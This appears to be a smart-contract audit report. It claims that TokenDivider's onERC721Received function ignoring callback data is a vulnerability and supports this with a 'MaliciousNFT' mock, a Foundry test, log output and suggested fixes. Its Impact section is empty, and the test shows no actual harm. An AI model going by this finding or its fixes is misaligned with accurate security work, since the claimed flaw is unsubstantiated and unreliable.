Summary
The TokenDivider contract's onERC721Received function accepts and ignores arbitrary callback data, creating a potential attack vector
Vulnerability Details
The function accepts any callback data without validation:
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return this.onERC721Received.selector;
}
Impact
POC
First, the malicious contract used for the attack:
pragma solidity ^0.8.18;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
contract MaliciousNFT is ERC721 {
TokenDivider public dividerContract;
uint256 private constant TOKEN_ID = 0;
constructor() ERC721("MaliciousNFT", "MNFT") {}
function mint(address to) public {
_mint(to, TOKEN_ID);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override {
(bool success,) = to.call(data);
require(!success, "Malicious callback succeeded");
super.safeTransferFrom(from, to, tokenId, data);
}
}
Complete test setup showing the vulnerability:
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TokenDivider} from "../../src/TokenDivider.sol";
import {MaliciousNFT} from "../mocks/MaliciousNFT.sol";
contract TokenDividerReceiveTest is Test {
TokenDivider public divider;
MaliciousNFT public maliciousNft;
address public constant ATTACKER = address(0x2);
uint256 public constant TOKEN_ID = 0;
function setUp() public {
divider = new TokenDivider();
maliciousNft = new MaliciousNFT();
maliciousNft.mint(ATTACKER);
}
function test_MaliciousCallback() public {
console.log("\n=== Testing Malicious Callback in onERC721Received ===");
vm.startPrank(ATTACKER);
console.log("Attacker address:", ATTACKER);
console.log("\nAttempting to trigger onERC721Received with malicious data...");
bytes memory maliciousData = abi.encodeWithSignature(
"maliciousFunction(address,uint256)",
ATTACKER,
TOKEN_ID
);
maliciousNft.safeTransferFrom(ATTACKER, address(divider), TOKEN_ID, maliciousData);
console.log("\nVULNERABILITY: Contract accepted transfer with malicious callback data!");
console.log("Malicious data was ignored but transfer succeeded");
console.log("Current NFT owner:", maliciousNft.ownerOf(TOKEN_ID));
vm.stopPrank();
}
}
=== Testing Malicious Callback in onERC721Received ===
Attacker address: 0x0000000000000000000000000000000000000002
Attempting to trigger onERC721Received with malicious data...
VULNERABILITY: Contract accepted transfer with malicious callback data!
Malicious data was ignored but transfer succeeded
Current NFT owner: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
Tools Used
Recommendations
Validate callback data:
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
require(data.length == 0, "No callback data allowed");
return this.onERC721Received.selector;
}
If callback data is needed, implement strict validation:
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
if (data.length > 0) {
require(
keccak256(data) == keccak256(abi.encode("dividenft")),
"Invalid callback data"
);
}
return this.onERC721Received.selector;
}